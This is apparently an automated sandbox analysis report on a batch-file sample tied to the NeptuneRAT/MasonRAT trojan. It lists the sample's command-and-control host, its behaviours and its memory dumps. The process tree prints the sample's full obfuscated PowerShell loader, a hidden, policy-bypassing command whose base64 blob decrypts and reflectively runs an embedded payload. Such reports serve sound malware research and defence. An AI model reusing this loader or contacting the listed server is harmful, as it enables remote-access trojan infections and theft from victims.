Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
02/07/2026, 16:44
General
- Target dwm.bat
- Size 100KB
- Sample260702-t85cvshz7y
- SHA256 bd2cc2f1f25b5f520a87068475247dd5611ab9f199ed3264983d720e016acf66
Score
10/10
Malware Config
Extracted
Family
-
neptunerat
C2
-
apostlejob3.duckdns.org:2468
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 1 IoCs
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Drops startup file 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dwm.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\dwm.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR6bWhsaCA9IEAnDQokbHl3eXp4YXVwbm5penhhd2pud3Z6eGF3ID0gJHp4YWVudjpVenhhU0VSTkF6eGFNRTskeHp4YW1qY2x3enhhcHZmbm96eGFnZmRmIHp4YT0gIkM6enhhXFVzZXJ6eGFzXCRseXp4YXd5dXBuenhhbml3am56eGF3dndcZHp4YXdtLmJhenhhdCI7aWZ6eGEgKFRlc3p4YXQtUGF0enhhaCAkeG16eGFqY2x3cHp4YXZmbm9nenhhZmRmKSB6eGF7ICAgIHp4YVdyaXRlenhhLUhvc3R6eGEgIkJhdHp4YWNoIGZpenhhbGUgZm96eGF1bmQ6IHp4YSR4bWpjenhhbHdwdmZ6eGFub2dmZHp4YWYiIC1Genhhb3JlZ3J6eGFvdW5kQ3p4YW9sb3IgenhhQ3lhbjt6eGEgICAgJHp4YWZpbGVMenhhaW5lcyB6eGE9IFtTeXp4YXN0ZW0uenhhSU8uRml6eGFsZV06Onp4YVJlYWRBenhhbGxMaW56eGFlcygkeHp4YW1qY2x3enhhcHZmbm96eGFnZmRmLHp4YSBbU3lzenhhdGVtLlR6eGFleHQuRXp4YW5jb2RpenhhbmddOjp6eGFVVEY4KXp4YTsgICAgenhhZm9yZWF6eGFjaCAoJHp4YWxpbmUgenhhaW4gJGZ6eGFpbGVMaXp4YW5lcykgenhheyAgICB6eGEgICAgaXp4YWYgKCRsenhhaW5lIC16eGFtYXRjaHp4YSAnXjo6enhhOiA/KC56eGErKSQnKXp4YSB7ICAgenhhICAgICB6eGEgICAgV3p4YXJpdGUtenhhSG9zdCB6eGEiSW5qZXp4YWN0aW9uenhhIGNvZGV6eGEgZGV0ZXp4YWN0ZWQgenhhaW4gdGh6eGFlIGJhdHp4YWNoIGZpenhhbGUuIiB6eGEtRm9yZXp4YWdyb3VuenhhZENvbG96eGFyIEN5YXp4YW47ICAgenhhICAgICB6eGEgICAgdHp4YXJ5IHsgenhhICAgICB6eGEgICAgIHp4YSAgICAgenhhJGRlY296eGFkZWRCeXp4YXRlcyA9enhhIFtTeXN6eGF0ZW0uQ3p4YW9udmVyenhhdF06OkZ6eGFyb21CYXp4YXNlNjRTenhhdHJpbmd6eGEoJG1hdHp4YWNoZXNbenhhMV0uVHJ6eGFpbSgpKXp4YTsgICAgenhhICAgICB6eGEgICAgIHp4YSAgJGluenhhamVjdGl6eGFvbkNvZHp4YWUgPSBbenhhU3lzdGV6eGFtLlRleHp4YXQuRW5jenhhb2Rpbmd6eGFdOjpVbnp4YWljb2RlenhhLkdldFN6eGF0cmluZ3p4YSgkZGVjenhhb2RlZEJ6eGF5dGVzKXp4YTsgICAgenhhICAgICB6eGEgICAgIHp4YSAgV3JpenhhdGUtSG96eGFzdCAiSXp4YW5qZWN0enhhaW9uIGN6eGFvZGUgZHp4YWVjb2RlenhhZCBzdWN6eGFjZXNzZnp4YXVsbHkuenhhIiAtRm96eGFyZWdyb3p4YXVuZENvenhhbG9yIEd6eGFyZWVuO3p4YSAgICAgenhhICAgICB6eGEgICAgIHp4YSBXcml0enhhZS1Ib3N6eGF0ICJFeHp4YWVjdXRpenhhbmcgaW56eGFqZWN0aXp4YW9uIGNvenhhZGUuLi56eGEiIC1Gb3p4YXJlZ3JvenhhdW5kQ296eGFsb3IgWXp4YWVsbG93enhhOyAgICB6eGEgICAgIHp4YSAgICAgenhhICBJbnZ6eGFva2UtRXp4YXhwcmVzenhhc2lvbiB6eGEkaW5qZXp4YWN0aW9uenhhQ29kZTt6eGEgICAgIHp4YSAgICAgenhhICAgICB6eGEgYnJlYXp4YWs7ICAgenhhICAgICB6eGEgICAgfXp4YSBjYXRjenhhaCB7ICB6eGEgICAgIHp4YSAgICAgenhhICAgIFd6eGFyaXRlLXp4YUhvc3QgenhhIkVycm96eGFyIGR1cnp4YWluZyBkenhhZWNvZGl6eGFuZyBvcnp4YSBleGVjenhhdXRpbmd6eGEgaW5qZXp4YWN0aW9uenhhIGNvZGV6eGE6ICRfInp4YSAtRm9yenhhZWdyb3V6eGFuZENvbHp4YW9yIFJlenhhZDsgICB6eGEgICAgIHp4YSAgICB9enhhOyAgICB6eGEgICAgfXp4YTsgICAgenhhfTt9IGV6eGFsc2Uge3p4YSAgICAgenhhIFdyaXR6eGFlLUhvc3p4YXQgIlN5enhhc3RlbSB6eGFFcnJvcnp4YTogQmF0enhhY2ggZml6eGFsZSBub3p4YXQgZm91enhhbmQ6ICR6eGF4bWpjbHp4YXdwdmZuenhhb2dmZGZ6eGEiIC1Gb3p4YXJlZ3JvenhhdW5kQ296eGFsb3IgUnp4YWVkOyAgenhhICBleGl6eGF0O307Znp4YXVuY3Rpenhhb24gZ2J6eGFwcXVjeHp4YXJjZnhjenhhcWNjKCR6eGFwYXJhbXp4YV92YXIpenhhewkkYWV6eGFzX3Zhcnp4YT1bU3lzenhhdGVtLlN6eGFlY3VyaXp4YXR5LkNyenhheXB0b2d6eGFyYXBoeXp4YS5BZXNdenhhOjpDcmV6eGFhdGUoKXp4YTsJJGFlenhhc192YXJ6eGEuTW9kZXp4YT1bU3lzenhhdGVtLlN6eGFlY3VyaXp4YXR5LkNyenhheXB0b2d6eGFyYXBoeXp4YS5DaXBoenhhZXJNb2R6eGFlXTo6Q3p4YUJDOwkkenhhYWVzX3Z6eGFhci5QYXp4YWRkaW5nenhhPVtTeXN6eGF0ZW0uU3p4YWVjdXJpenhhdHkuQ3J6eGF5cHRvZ3p4YXJhcGh5enhhLlBhZGR6eGFpbmdNb3p4YWRlXTo6enhhUEtDUzd6eGE7CSRhZXp4YXNfdmFyenhhLktleT16eGFbU3lzdHp4YWVtLkNvenhhbnZlcnR6eGFdOjpGcnp4YW9tQmFzenhhZTY0U3R6eGFyaW5nKHp4YSdJbW9jenhhTkVuVVp6eGFiSEJtYXp4YVhJQnRvenhheTdYM0h6eGFDcjlRc3p4YUNESkFVenhhbGtxNDN6eGFxWUZnPXp4YScpOwkkenhhYWVzX3Z6eGFhci5JVnp4YT1bU3lzenhhdGVtLkN6eGFvbnZlcnp4YXRdOjpGenhhcm9tQmF6eGFzZTY0U3p4YXRyaW5nenhhKCdXQ3B6eGFRVkdxY3p4YStFNFNOenhhSGZLWVZ6eGE1alZRPXp4YT0nKTsJenhhJGRlY3J6eGF5cHRvcnp4YV92YXI9enhhJGFlc196eGF2YXIuQ3p4YXJlYXRlenhhRGVjcnl6eGFwdG9yKHp4YSk7CSRyenhhZXR1cm56eGFfdmFyPXp4YSRkZWNyenhheXB0b3J6eGFfdmFyLnp4YVRyYW5zenhhZm9ybUZ6eGFpbmFsQnp4YWxvY2soenhhJHBhcmF6eGFtX3Zhcnp4YSwgMCwgenhhJHBhcmF6eGFtX3Zhcnp4YS5MZW5nenhhdGgpOwl6eGEkZGVjcnp4YXlwdG9yenhhX3Zhci56eGFEaXNwb3p4YXNlKCk7enhhCSRhZXN6eGFfdmFyLnp4YURpc3Bvenhhc2UoKTt6eGEJJHJldHp4YXVybl92enhhYXI7fWZ6eGF1bmN0aXp4YW9uIG1venhhZWdzemx6eGFqYnR1dXp4YXF0eSgkenhhcGFyYW16eGFfdmFyKXp4YXsJJGt0enhhdW15Z2p6eGFndm95bXp4YXBkdT1OenhhZXctT2J6eGFqZWN0IHp4YVN5c3RlenhhbS5JTy56eGFNZW1vcnp4YXlTdHJlenhhYW0oLCR6eGFwYXJhbXp4YV92YXIpenhhOwkkZ2J6eGFuYWNweHp4YWhianZzenhhb3hhPU56eGFldy1PYnp4YWplY3QgenhhU3lzdGV6eGFtLklPLnp4YU1lbW9yenhheVN0cmV6eGFhbTsJJHp4YWhneGV2enhhZWhkZXZ6eGFkaGpzdHp4YT1OZXctenhhT2JqZWN6eGF0IFN5c3p4YXRlbS5JenhhTy5Db216eGFwcmVzc3p4YWlvbi5HenhhWmlwU3R6eGFyZWFtKHp4YSRrdHVtenhheWdqZ3Z6eGFveW1wZHp4YXUsIFtJenhhTy5Db216eGFwcmVzc3p4YWlvbi5Denhhb21wcmV6eGFzc2lvbnp4YU1vZGVdenhhOjpEZWN6eGFvbXByZXp4YXNzKTsJenhhJGhneGV6eGF2ZWhkZXp4YXZkaGpzenhhdC5Db3B6eGF5VG8oJHp4YWdibmFjenhhcHhoYmp6eGF2c294YXp4YSk7CSRoenhhZ3hldmV6eGFoZGV2ZHp4YWhqc3QuenhhRGlzcG96eGFzZSgpO3p4YQkka3R1enhhbXlnamd6eGF2b3ltcHp4YWR1LkRpenhhc3Bvc2V6eGEoKTsJJHp4YWdibmFjenhhcHhoYmp6eGF2c294YXp4YS5EaXNwenhhb3NlKCl6eGE7CSRnYnp4YW5hY3B4enhhaGJqdnN6eGFveGEuVHp4YW9BcnJhenhheSgpO316eGFmdW5jdHp4YWlvbiB2enhhZXJqcmp6eGFycWRvZHp4YWJudGkoenhhJHBhcmF6eGFtX3Zhcnp4YSwkcGFyenhhYW0yX3Z6eGFhcil7CXp4YSRud2ZoenhhbXNocHJ6eGFqbmx0ZHp4YWQ9W1N5enhhc3RlbS56eGFSZWZsZXp4YWN0aW9uenhhLkFzc2V6eGFtYmx5XXp4YTo6KCdkenhhYW9MJ1t6eGEtMS4uLXp4YTRdIC1qenhhb2luICd6eGEnKShbYnp4YXl0ZVtdenhhXSRwYXJ6eGFhbV92YXp4YXIpOwkkenhhbnVpdWd6eGFzb2xpcXp4YXp4amZ6enhhPSRud2Z6eGFobXNocHp4YXJqbmx0enhhZGQuRW56eGF0cnlQb3p4YWludDsJenhhJG51aXV6eGFnc29saXp4YXF6eGpmenhhei5JbnZ6eGFva2UoJHp4YW51bGwsenhhICRwYXJ6eGFhbTJfdnp4YWFyKTt9enhhJGhvc3R6eGEuVUkuUnp4YWF3VUkuenhhV2luZG96eGF3VGl0bHp4YWUgPSAkenhheG1qY2x6eGF3cHZmbnp4YW9nZmRmenhhOyR3ZmR6eGFleXBlbHp4YXNha29xenhhYnI9W1N6eGF5c3RlbXp4YS5JTy5GenhhaWxlXTp6eGE6KCd0eHp4YWVUbGxBenhhZGFlUid6eGFbLTEuLnp4YS0xMV0genhhLWpvaW56eGEgJycpKHp4YSR4bWpjenhhbHdwdmZ6eGFub2dmZHp4YWYpLlNwenhhbGl0KFt6eGFFbnZpcnp4YW9ubWVuenhhdF06Ok56eGFld0xpbnp4YWUpO2ZvenhhcmVhY2h6eGEgKCRpenp4YXRuYnBqenhhZ2pwaXN6eGF2aXAgaXp4YW4gJHdmenhhZGV5cGV6eGFsc2Frb3p4YXFicikgenhhewlpZiB6eGEoJGl6dHp4YW5icGpnenhhanBpc3Z6eGFpcC5TdHp4YWFydHNXenhhaXRoKCd6eGE6OiAnKXp4YSkJewkJenhhJHd4anV6eGFhd212eXp4YWx0YnJienhhYT0kaXp6eGF0bmJwanp4YWdqcGlzenhhdmlwLlN6eGF1YnN0cnp4YWluZygzenhhKTsJCWJ6eGFyZWFrO3p4YQl9fSRvenhhd2xobmt6eGF0aXRnbnp4YXFhZXI9enhhW3N0cml6eGFuZ1tdXXp4YSR3eGp1enhhYXdtdnl6eGFsdGJyYnp4YWEuU3BsenhhaXQoJ1x6eGEnKTskZXp4YXFtaWpsenhhbHV4b2V6eGFkc3NjPXp4YW1vZWdzenhhemxqYnR6eGF1dXF0eXp4YSAoZ2JwenhhcXVjeHJ6eGFjZnhjcXp4YWNjIChbenhhQ29udmV6eGFydF06Onp4YUZyb21CenhhYXNlNjR6eGFTdHJpbnp4YWcoJG93enhhbGhua3R6eGFpdGducXp4YWFlclswenhhXSkpKTt6eGEkbGt0aXp4YWJtZ292enhhZmh6eHB6eGFxPW1vZXp4YWdzemxqenhhYnR1dXF6eGF0eSAoZ3p4YWJwcXVjenhheHJjZnh6eGFjcWNjIHp4YShbQ29uenhhdmVydF16eGE6OkZyb3p4YW1CYXNlenhhNjRTdHJ6eGFpbmcoJHp4YW93bGhuenhha3RpdGd6eGFucWFlcnp4YVsxXSkpenhhKTt2ZXJ6eGFqcmpycXp4YWRvZGJuenhhdGkgJGV6eGFxbWlqbHp4YWx1eG9lenhhZHNzYyB6eGEkbnVsbHp4YTt2ZXJqenhhcmpycWR6eGFvZGJudHp4YWkgJGxrenhhdGlibWd6eGFvdmZoenp4YXhwcSAoenhhLFtzdHJ6eGFpbmdbXXp4YV0gKCclenhhKicpKTsNCidADQoNCiRobnBodiA9ICR6bWhsaCAtcmVwbGFjZSAnenhhJywgJycNCg0KSW52b2tlLUV4cHJlc3Npb24gJGhucGh2DQo=')) | Invoke-Expression"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_kn05a4u4.ypy.ps1
memory/4572-15-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-17-0x000002CCBF200000-0x000002CCBF208000-memory.dmp
memory/4572-8-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-9-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-10-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-11-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-12-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-13-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-14-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-0-0x00007FFC4AB2F000-0x00007FFC4AB30000-memory.dmp
memory/4572-6-0x000002CCBF210000-0x000002CCBF232000-memory.dmp
memory/4572-19-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-16-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-20-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-18-0x000002CCBF480000-0x000002CCBF48E000-memory.dmp
memory/4572-21-0x000002CCBF790000-0x000002CCBF7A2000-memory.dmp
memory/4572-22-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-23-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-24-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-25-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp
memory/4572-26-0x00007FFC4A9A0000-0x00007FFC4B344000-memory.dmp